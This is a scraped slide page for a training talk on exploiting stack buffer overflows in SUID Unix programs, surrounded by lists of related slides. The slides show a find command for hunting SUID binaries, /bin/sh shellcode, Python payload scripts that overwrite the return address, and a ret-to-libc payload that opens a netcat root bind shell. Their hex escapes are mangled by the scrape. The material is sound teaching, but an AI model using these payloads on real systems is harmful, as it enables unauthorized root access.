A Hypervisor IPS based on Hardware Assisted Virtualization TechnologyA Hypervisor IPS based on Hardware Assisted Virtualization Technology
A Hypervisor IPS based on Hardware Assisted Virtualization TechnologyFFRI, Inc.
 
Purchasing power parity a unit root, cointegration and var analysis in emergi...
Purchasing power parity a unit root, cointegration and var analysis in emergi...Purchasing power parity a unit root, cointegration and var analysis in emergi...
Purchasing power parity a unit root, cointegration and var analysis in emergi...
Giwrgos Loukopoulos
 
How to create a jQuery Modal Window
How to create a jQuery Modal WindowHow to create a jQuery Modal Window
How to create a jQuery Modal Window
Likno Software
 
Connect.Tech- Enhancing Your Workflow With Xcode Source Editor Extensions
Connect.Tech- Enhancing Your Workflow With Xcode Source Editor ExtensionsConnect.Tech- Enhancing Your Workflow With Xcode Source Editor Extensions
Connect.Tech- Enhancing Your Workflow With Xcode Source Editor Extensions
stable|kernel
 
Creational pattern
Creational patternCreational pattern
Creational pattern
Himanshu
 

Viewers also liked (20)

[2007 CodeEngn Conference 01] amesianx - Art of Hooking
[2007 CodeEngn Conference 01] amesianx - Art of Hooking[2007 CodeEngn Conference 01] amesianx - Art of Hooking
[2007 CodeEngn Conference 01] amesianx - Art of Hooking
 
Root the Box - An Open Source Platform for CTF Administration
Root the Box - An Open Source Platform for CTF AdministrationRoot the Box - An Open Source Platform for CTF Administration
Root the Box - An Open Source Platform for CTF Administration
 
ecdevday1
ecdevday1ecdevday1
ecdevday1
 
Storm Worm - Malware 2.0
Storm Worm - Malware 2.0Storm Worm - Malware 2.0
Storm Worm - Malware 2.0
 
Manual Unpacking + By Re.M J Nop790
Manual  Unpacking + By Re.M J Nop790Manual  Unpacking + By Re.M J Nop790
Manual Unpacking + By Re.M J Nop790
 
kkMemory management
kkMemory managementkkMemory management
kkMemory management
 
Inc0gnito fuzzing for_fun_sweetchip
Inc0gnito fuzzing for_fun_sweetchipInc0gnito fuzzing for_fun_sweetchip
Inc0gnito fuzzing for_fun_sweetchip
 
Talking about exploit writing
Talking about exploit writingTalking about exploit writing
Talking about exploit writing
 
Shellcode Analysis - Basic and Concept
Shellcode Analysis - Basic and ConceptShellcode Analysis - Basic and Concept
Shellcode Analysis - Basic and Concept
 
Hacking school computers for fun profit and better grades short
Hacking school computers for fun profit and better grades shortHacking school computers for fun profit and better grades short
Hacking school computers for fun profit and better grades short
 
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
 
バイナリより低レイヤな話 (プロセッサの心を読み解く) - カーネル/VM探検隊@北陸1
バイナリより低レイヤな話 (プロセッサの心を読み解く) - カーネル/VM探検隊@北陸1バイナリより低レイヤな話 (プロセッサの心を読み解く) - カーネル/VM探検隊@北陸1
バイナリより低レイヤな話 (プロセッサの心を読み解く) - カーネル/VM探検隊@北陸1
 
EQUITY MARKET INTEGRATION IN SELECTED MARKETS: EVIDENCE FROM UNIT ROOT AND CO...
EQUITY MARKET INTEGRATION IN SELECTED MARKETS: EVIDENCE FROM UNIT ROOT AND CO...EQUITY MARKET INTEGRATION IN SELECTED MARKETS: EVIDENCE FROM UNIT ROOT AND CO...
EQUITY MARKET INTEGRATION IN SELECTED MARKETS: EVIDENCE FROM UNIT ROOT AND CO...
 
A Hypervisor IPS based on Hardware Assisted Virtualization Technology
A Hypervisor IPS based on Hardware Assisted Virtualization TechnologyA Hypervisor IPS based on Hardware Assisted Virtualization Technology
A Hypervisor IPS based on Hardware Assisted Virtualization Technology
 
Purchasing power parity a unit root, cointegration and var analysis in emergi...
Purchasing power parity a unit root, cointegration and var analysis in emergi...Purchasing power parity a unit root, cointegration and var analysis in emergi...
Purchasing power parity a unit root, cointegration and var analysis in emergi...
 
How to create a jQuery Modal Window
How to create a jQuery Modal WindowHow to create a jQuery Modal Window
How to create a jQuery Modal Window
 
Connect.Tech- Enhancing Your Workflow With Xcode Source Editor Extensions
Connect.Tech- Enhancing Your Workflow With Xcode Source Editor ExtensionsConnect.Tech- Enhancing Your Workflow With Xcode Source Editor Extensions
Connect.Tech- Enhancing Your Workflow With Xcode Source Editor Extensions
 
Design patterns
Design patternsDesign patterns
Design patterns
 
Lampiran unit root test
Lampiran unit root testLampiran unit root test
Lampiran unit root test
 
Creational pattern
Creational patternCreational pattern
Creational pattern
 

Similar to Unix executable buffer overflow

Writing Metasploit Plugins
Writing Metasploit PluginsWriting Metasploit Plugins
Writing Metasploit Plugins
amiable_indian
 
04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)
Alexandre Moneger
 
Direct SGA access without SQL
Direct SGA access without SQLDirect SGA access without SQL
Direct SGA access without SQLKyle Hailey
 
Exploiting buffer overflows
Exploiting buffer overflowsExploiting buffer overflows
Exploiting buffer overflows
Paul Dutot IEng MIET MBCS CITP OSCP CSTM
 
Linux configer
Linux configerLinux configer
Linux configer
MD. AL AMIN
 
Salesforce at Stacki Atlanta Meetup February 2016
Salesforce at Stacki Atlanta Meetup February 2016Salesforce at Stacki Atlanta Meetup February 2016
Salesforce at Stacki Atlanta Meetup February 2016
StackIQ
 
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Vincenzo Iozzo
 
various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)
various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)
various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)
CODE BLUE
 
Feb14 successful development
Feb14 successful developmentFeb14 successful development
Feb14 successful development
Connor McDonald
 
Stacki - The1600+ Server Journey
Stacki - The1600+ Server JourneyStacki - The1600+ Server Journey
Stacki - The1600+ Server Journey
Salesforce Engineering
 
StackiFest16: Stacki 1600+ Server Journey - Dave Peterson, Salesforce
StackiFest16: Stacki 1600+ Server Journey - Dave Peterson, Salesforce StackiFest16: Stacki 1600+ Server Journey - Dave Peterson, Salesforce
StackiFest16: Stacki 1600+ Server Journey - Dave Peterson, Salesforce
StackIQ
 
Vagrant, Ansible, and OpenStack on your laptop
Vagrant, Ansible, and OpenStack on your laptopVagrant, Ansible, and OpenStack on your laptop
Vagrant, Ansible, and OpenStack on your laptop
Lorin Hochstein
 
Code Red Security
Code Red SecurityCode Red Security
Code Red Security
Amr Ali
 
Lessons from running potentially malicious code inside containers
Lessons from running potentially malicious code inside containersLessons from running potentially malicious code inside containers
Lessons from running potentially malicious code inside containers
Ben Hall
 
Shellcoding in linux
Shellcoding in linuxShellcoding in linux
Shellcoding in linuxAjin Abraham
 
Scaling IO-bound microservices
Scaling IO-bound microservicesScaling IO-bound microservices
Scaling IO-bound microservices
Salo Shp
 
Scope Stack Allocation
Scope Stack AllocationScope Stack Allocation
Scope Stack Allocation
Electronic Arts / DICE
 
Building and Deploying Application to Apache Mesos
Building and Deploying Application to Apache MesosBuilding and Deploying Application to Apache Mesos
Building and Deploying Application to Apache Mesos
Joe Stein
 
php & performance
 php & performance php & performance
php & performance
simon8410
 

Similar to Unix executable buffer overflow (20)

Writing Metasploit Plugins
Writing Metasploit PluginsWriting Metasploit Plugins
Writing Metasploit Plugins
 
04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)
 
Direct SGA access without SQL
Direct SGA access without SQLDirect SGA access without SQL
Direct SGA access without SQL
 
Exploiting buffer overflows
Exploiting buffer overflowsExploiting buffer overflows
Exploiting buffer overflows
 
Linux configer
Linux configerLinux configer
Linux configer
 
Salesforce at Stacki Atlanta Meetup February 2016
Salesforce at Stacki Atlanta Meetup February 2016Salesforce at Stacki Atlanta Meetup February 2016
Salesforce at Stacki Atlanta Meetup February 2016
 
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
 
various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)
various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)
various tricks for remote linux exploits  by Seok-Ha Lee (wh1ant)
 
Feb14 successful development
Feb14 successful developmentFeb14 successful development
Feb14 successful development
 
Stacki - The1600+ Server Journey
Stacki - The1600+ Server JourneyStacki - The1600+ Server Journey
Stacki - The1600+ Server Journey
 
StackiFest16: Stacki 1600+ Server Journey - Dave Peterson, Salesforce
StackiFest16: Stacki 1600+ Server Journey - Dave Peterson, Salesforce StackiFest16: Stacki 1600+ Server Journey - Dave Peterson, Salesforce
StackiFest16: Stacki 1600+ Server Journey - Dave Peterson, Salesforce
 
Vagrant, Ansible, and OpenStack on your laptop
Vagrant, Ansible, and OpenStack on your laptopVagrant, Ansible, and OpenStack on your laptop
Vagrant, Ansible, and OpenStack on your laptop
 
Code Red Security
Code Red SecurityCode Red Security
Code Red Security
 
Lessons from running potentially malicious code inside containers
Lessons from running potentially malicious code inside containersLessons from running potentially malicious code inside containers
Lessons from running potentially malicious code inside containers
 
Shellcoding in linux
Shellcoding in linuxShellcoding in linux
Shellcoding in linux
 
Scaling IO-bound microservices
Scaling IO-bound microservicesScaling IO-bound microservices
Scaling IO-bound microservices
 
Scope Stack Allocation
Scope Stack AllocationScope Stack Allocation
Scope Stack Allocation
 
Building and Deploying Application to Apache Mesos
Building and Deploying Application to Apache MesosBuilding and Deploying Application to Apache Mesos
Building and Deploying Application to Apache Mesos
 
php & performance
 php & performance php & performance
php & performance
 
Network Drivers
Network DriversNetwork Drivers
Network Drivers
 

Recently uploaded

FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdfFIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance
 
UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3
DianaGray10
 
"Impact of front-end architecture on development cost", Viktor Turskyi
"Impact of front-end architecture on development cost", Viktor Turskyi"Impact of front-end architecture on development cost", Viktor Turskyi
"Impact of front-end architecture on development cost", Viktor Turskyi
Fwdays
 
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
DanBrown980551
 
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Jeffrey Haguewood
 
The Future of Platform Engineering
The Future of Platform EngineeringThe Future of Platform Engineering
The Future of Platform Engineering
Jemma Hussein Allen
 
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Tobias Schneck
 
Connector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a buttonConnector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a button
DianaGray10
 
PHP Frameworks: I want to break free (IPC Berlin 2024)
PHP Frameworks: I want to break free (IPC Berlin 2024)PHP Frameworks: I want to break free (IPC Berlin 2024)
PHP Frameworks: I want to break free (IPC Berlin 2024)
Ralf Eggert
 
Epistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI supportEpistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI support
Alan Dix
 
Designing Great Products: The Power of Design and Leadership by Chief Designe...
Designing Great Products: The Power of Design and Leadership by Chief Designe...Designing Great Products: The Power of Design and Leadership by Chief Designe...
Designing Great Products: The Power of Design and Leadership by Chief Designe...
Product School
 
Knowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and backKnowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and back
Elena Simperl
 
FIDO Alliance Osaka Seminar: Passkeys at Amazon.pdf
FIDO Alliance Osaka Seminar: Passkeys at Amazon.pdfFIDO Alliance Osaka Seminar: Passkeys at Amazon.pdf
FIDO Alliance Osaka Seminar: Passkeys at Amazon.pdf
FIDO Alliance
 
FIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdfFIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance
 
Essentials of Automations: Optimizing FME Workflows with Parameters
Essentials of Automations: Optimizing FME Workflows with ParametersEssentials of Automations: Optimizing FME Workflows with Parameters
Essentials of Automations: Optimizing FME Workflows with Parameters
Safe Software
 
Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*
Frank van Harmelen
 
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
Sri Ambati
 
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
Product School
 
IOS-PENTESTING-BEGINNERS-PRACTICAL-GUIDE-.pptx
IOS-PENTESTING-BEGINNERS-PRACTICAL-GUIDE-.pptxIOS-PENTESTING-BEGINNERS-PRACTICAL-GUIDE-.pptx
IOS-PENTESTING-BEGINNERS-PRACTICAL-GUIDE-.pptx
Abida Shariff
 
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Product School
 

Recently uploaded (20)

FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdfFIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
 
UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3
 
"Impact of front-end architecture on development cost", Viktor Turskyi
"Impact of front-end architecture on development cost", Viktor Turskyi"Impact of front-end architecture on development cost", Viktor Turskyi
"Impact of front-end architecture on development cost", Viktor Turskyi
 
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
 
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
 
The Future of Platform Engineering
The Future of Platform EngineeringThe Future of Platform Engineering
The Future of Platform Engineering
 
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
 
Connector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a buttonConnector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a button
 
PHP Frameworks: I want to break free (IPC Berlin 2024)
PHP Frameworks: I want to break free (IPC Berlin 2024)PHP Frameworks: I want to break free (IPC Berlin 2024)
PHP Frameworks: I want to break free (IPC Berlin 2024)
 
Epistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI supportEpistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI support
 
Designing Great Products: The Power of Design and Leadership by Chief Designe...
Designing Great Products: The Power of Design and Leadership by Chief Designe...Designing Great Products: The Power of Design and Leadership by Chief Designe...
Designing Great Products: The Power of Design and Leadership by Chief Designe...
 
Knowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and backKnowledge engineering: from people to machines and back
Knowledge engineering: from people to machines and back
 
FIDO Alliance Osaka Seminar: Passkeys at Amazon.pdf
FIDO Alliance Osaka Seminar: Passkeys at Amazon.pdfFIDO Alliance Osaka Seminar: Passkeys at Amazon.pdf
FIDO Alliance Osaka Seminar: Passkeys at Amazon.pdf
 
FIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdfFIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdf
 
Essentials of Automations: Optimizing FME Workflows with Parameters
Essentials of Automations: Optimizing FME Workflows with ParametersEssentials of Automations: Optimizing FME Workflows with Parameters
Essentials of Automations: Optimizing FME Workflows with Parameters
 
Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*
 
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
 
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
 
IOS-PENTESTING-BEGINNERS-PRACTICAL-GUIDE-.pptx
IOS-PENTESTING-BEGINNERS-PRACTICAL-GUIDE-.pptxIOS-PENTESTING-BEGINNERS-PRACTICAL-GUIDE-.pptx
IOS-PENTESTING-BEGINNERS-PRACTICAL-GUIDE-.pptx
 
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
Unsubscribed: Combat Subscription Fatigue With a Membership Mentality by Head...
 

Unix executable buffer overflow

  • 2. #whoami <Name> Ammarit Thongthua Mr. K ShellCodeNoob </Name> <Profile> PentestTeam leader in private company </Profile> FB : Ammarit Es Shellcodenoob
  • 3. “There are some relationships between - Reverse Engineering - Buffer overflow - Shellcode They are the complement of each other” “Sleepy Kama” #Inspiration
  • 4.
  • 5. Today, we will start with
  • 6. AGENDA  Introduction  Vulnerable Unix executable  Memory Space and Stack Layout  Buffer Overflow  Unix application Basic Reverse Engineer  ShellCode  Protection vs Expliotation  Basic Stack without protection  Bypass password protection  Exploitto get root privilege  Limited Stack Space  StackGuard (Canary)  Non-Executable-Stack (NX)  ROP Chain  Address Space Layout Randomization (ASLR)  Defeat with static system library (kernel < 2.6.20 )  ASLR with removed Static system library  Defeat with application wrapping (kernel >= 2.6.20 )  Compare with windows exploitation
  • 8. VULNERABLE UNIX APPLICATION  Has permission “root” as user or group  SUID or SGID is set (Sting S at eXecute bit)  This 2 criteria provided privilege escalation to be root  list="$(find / -perm -4000 -o -perm -2000)";for i in $list; do ls -al $i; done  ls –R / | grep “wsr” | grep “root”
  • 10. VULNERABLE UNIX APPLICATION  Use vulnerable input standard function  Ex: strcp(), gets(), sprintf (), vsprintf ()  They make the program can possibly segmentation fault or buffer overflow
  • 11. Chapter II “Memory Address and Stack Layout”
  • 12. MEMORY ADDRESS AND STACK LAYOUT 0xFFFFFFFF 0x00000000 Code Segment Data Segment DSS Segment Heap Stack
  • 13. MEMORY ADDRESS AND STACK LAYOUT 0xFFFFFFFF 0x00000000 Code Segment Data Segment DSS Segment Heap Stack
  • 14. MEMORY ADDRESS AND STACK LAYOUT 0xFFFFFFFF 0x00000000 Code Segment Data Segment DSS Segment Heap Stack
  • 15. MEMORY ADDRESS AND STACK LAYOUT main () { int i = 0; checkpw (); } char pw[608];
  • 16. MEMORY ADDRESS AND STACK LAYOUT 0xFFFFFFFF 0x00000000 Stack Int i = 0; ….. Previous Stacks Main() ESP
  • 17. MEMORY ADDRESS AND STACK LAYOUT main () { int I = 0; checkpw (); } char pw[608];
  • 18. MEMORY ADDRESS AND STACK LAYOUT main () { int I = 0; checkpw (); } char pw[608]; RP
  • 19. MEMORY ADDRESS AND STACK LAYOUT 0xFFFFFFFF 0x00000000 Char pw[608]; Int i = 0; ….. Previous Stacks Main() checkpw() SFP RP Stack ESP
  • 21. BUFFER OVERFLOW  The situation when the data that input to the system is larger than the size of buffer that declare to be used AAAAAAAAAA....[607 of A]….AAAx00 SFP RP AAAAAAAAAA….[616 of A]….AAAAAAAAAAAAAAx00 SFP = 0x41414141 ***RP = 0x41414141 “Segmentation fault” “Illegal Instruction” SFP RP Ex: char pw[608];
  • 22. “How can we detect buffer overflow in unix application?”
  • 23. “Generally, we use manually test”
  • 25. “Better way, we use pattern test”
  • 28.  Check buffer overflow position /usr/share/metasploit-framework/tools/pattern_offset.rb 41347541 BUFFER OVERFLOW
  • 29. “What happen if we can over write Return Pointer?” “Can we control flow of instruction?”
  • 31. BUFFER OVERFLOW AAAAAAAAAAAAA….[612 of A]….AAAAAAA SFP = 0x41414141 ***RP = 0x080484c7 “Segmentation fault” “Illegal Instruction” SFP RP 0x080484c7
  • 33. BUFFER OVERFLOW Demo #1 GDB and Bypass password protection
  • 35. “Imagine if we can control Return Pointer to our own Instruction” “So, we can control the whole system”
  • 36. SHELL CODE [Malicious Machine OpCode] + AAAAAAAAAAAAAAA SFP = 0x41414141 ***RP = 0xFBFF0544 0xFBFF0544 0xFBFF0544 SFP RP  Attacker can control return pointer to run Malicious Machine OpCode that put to memory (Shell Code).  Insert shell code as a part of input to reduce the complexity of exploitation
  • 37. SHELL CODE  Shell code is the code that attacker want the system run in order to operate the command as attacker need (create form assembly and convert to OpCode  Ex;  Open port for connection to that system with root privilege  Add user to the system  Run shell as root privilege  Shell code is written as Hexadecimal format
  • 38. “What happen if we can make Return Pointer system_call /bin/sh by programrun as root ?”
  • 39. “We will get shell prompt with root pri.”
  • 40. SHELL CODE 31 C0 50 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 50 53 89 E1 B0 0B CD 80 Assembly Code Op Code Shell Code : system_call (/bin/sh) /bin 0000 //sh 0000 $esp
  • 41. SHELL CODE System_call(/bin/sh)Run as “root” Vulnerability program We get /bin/sh as root  RP
  • 42. “How can we get shellcode ?”
  • 43.  Where can we get shell code use to make exploit. ?  Create your own shell code (quite take time)  Use Metasploit to generate shell code  Metepreter  Search from internet  shell-storm.org/shellcode  packetstormsecurity.com  www.exploit-db.com/exploits SHELL CODE
  • 44. “How can we manually create shellcode ?”
  • 45. “Good news, you need to understand Assemble first !!”
  • 48. “How can we know what is shellcode do ?”
  • 49. “Good news again, you need to understand Assemble first !!”
  • 51. “Can you see something difference between Assembly from debugger and output from the webs?”
  • 52. ASSEMBLY CODE From our debugger From our web disassembly
  • 54. Nothing wrong.. It’s just different instruction set
  • 55. ASSEMBLY CODE From our debugger From our web disassembly AT&T base instruction Intel base instruction
  • 57. EXPLOIT PAYLOAD [Shell Code] + [PADDING make size to 612 ] SFP = 0x41414141 ***RP = 0xBFFF528 0xBFFF528 SFP RP Payload = Shellcode + PAD + RP 612 bytes 4 bytes 0xBFFF528 Example:
  • 58.  Where is the shell code start location (For this example case)?  Need to reverse engineering and debug EXPLOIT PAYLOAD
  • 59. Shellcode = “x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1xb0x0bxcdx80” RP = “x20xf5xffxbf” #0xBFFF520 (Little Endean!!!) PAYLOAD = scode + “A”*528 + RP print PAYLOAD ----------------------------------------------------------------------------------------------- user@host:$ python exp.py | ./vul_app EXPLOIT PAYLOAD
  • 60. “Let’s try our payload”
  • 61. EXPLOIT PAYLOAD  Sometime result of our exploit is crash !!!
  • 62. “What’s wrong in our PAYLOAD ^^? ”
  • 63. EXPLOIT PAYLOAD  Memory on address when debug and run exploit payload may a bit shift [Shell Code] + [PADDING make size to 612 ] 0xBFFF528
  • 64. “How can we solve this problem ?”
  • 65. [ Shell Code ] + [ 577 Byte of PADDING ] 0xBFFF528 EXPLOIT PAYLOAD [400B. Landing space]+[Shell Code]+ [177 B. PADDING ]0xBFFF540 NOP (x90) = Do nothing
  • 66. Shellcode = “x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1xb0x0bxcdx80” RP = “x58xf5xffxbf” # 0xBFFF558 Exp = “x90”*400 + scode + “A”*128 + RP ----------------------------------------------------------------------------------------------- user@host:$ python exp.py | ./vul_app EXPLOIT PAYLOAD
  • 67. “Let’s try our improved payload”
  • 68. EXPLOIT CODE  When exploit successfully
  • 69. EXPLOIT CODE Demo #2 Exploit to get root privilege
  • 70. Chapter VI “Buffer overflow in limited stack space”
  • 71. LIMITED STACK SPACE x31x57xdfx45x98xcex55xedx78xedxedx57x76x23x12x6fxf3x6ex4a SFP = 0x12237657 ***RP = 0x4a6ef36f SFP RP Payload =x31x57xdfx45x98xcex55xedx78xedxedx57x76x23x12x6fxf3x6ex4a “Segmentation fault” “Illegal Instruction”
  • 72. “How can we solve this problem”
  • 73. LIMITED STACK SPACE [ NOP Space (NOP Sledding)] + [S h e l l C o d e ] AAAAAAAAAAAAA…[612 of A]…AAAAAAAA SFP = 0x41414141 ***RP = 0xBFFFxxxx ??? (We don’t know yet) 0xFBFFxxxx 0xFBFFxxxx SFP RP  If size of buffer is limited, we need to put some shell code some where in stack and control RP to run shell code
  • 75. Shellcode = “x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1xb0x0bxcdx80” RP = “xb0xf7xffxbf” # 0xBFFF520 Exp =`python c- ‘print “A”*612` + RP + =`python c- ‘print “x90”*400` + scode ----------------------------------------------------------------------------------------------- user@host:$ python exp.py | ./vul_app LIMITED STACK SPACE
  • 76.  When exploit successfully LIMITED STACK SPACE
  • 77. Demo #3 Exploit to get root privilege With Limited Stack Space LIMITED STACK SPACE
  • 78. SUMMARY Grant()main()AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA RP x90x90x90 x90x90 + [Shell Code] + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA RP x90 x90x90x90x90x90x90 + [Shell Code]AAAAAAAAAAAAAAAAAAAAAAAAAAA RP AAAAA  Bypass password protection  Buffer overflow to run shellcode to get root privilege  Buffer overflow to run shellcode with limited Stack Space
  • 79. “Is it easy like this in real life?”
  • 83.  Characteristic of vulnerable program  Has set SUID, GUID  Can Overflow  Use Libc. BYPASS LIMITED STACK SPACE BY RET-2-LIBC
  • 84. “What happen if we jump RP and run?” system_call nc –l –p 9999 –e /bin/sh
  • 85.  Fool program to make system call with evil command  System_call nc -l -p 9999 -e /bin/sh AAAAAAAAAAAAA If Arg = “nc -l -p 9999 -e /bin/sh” and Program run as “root” So, “nc –l –p 9999 –e /bin/sh” run as “root” SFP RP Argsystem BYPASS LIMITED STACK SPACE BY RET-2-LIBC
  • 86.  Find location of “system” call function BYPASS LIMITED STACK SPACE BY RET-2-LIBC
  • 87.  Create “evil” Argument as system global variable AAAAAAAAAAAAA SFP RP = Argsystem xf0x4execxb7 x98xfaxffxbfNC = BYPASS LIMITED STACK SPACE BY RET-2-LIBC
  • 88.  Result BYPASS LIMITED STACK SPACE BY RET-2-LIBC
  • 89.  When exploit successfully BYPASS LIMITED STACK SPACE BY RET-2-LIBC
  • 90. Demo #4 Exploit to get root privilege with Ret-2-libc style BYPASS LIMITED STACK SPACE BY RET-2-LIBC
  • 92.  The limitation of Ret-2-Libc is run only 1 command a time to exploit AAAAAAAAAAAAA SFP RP = Argsystem xf0x4execxb7 x98xfaxffxbfNC = ROP CHAIN
  • 93. “It’s better if we can run more than one commandin one exploit”
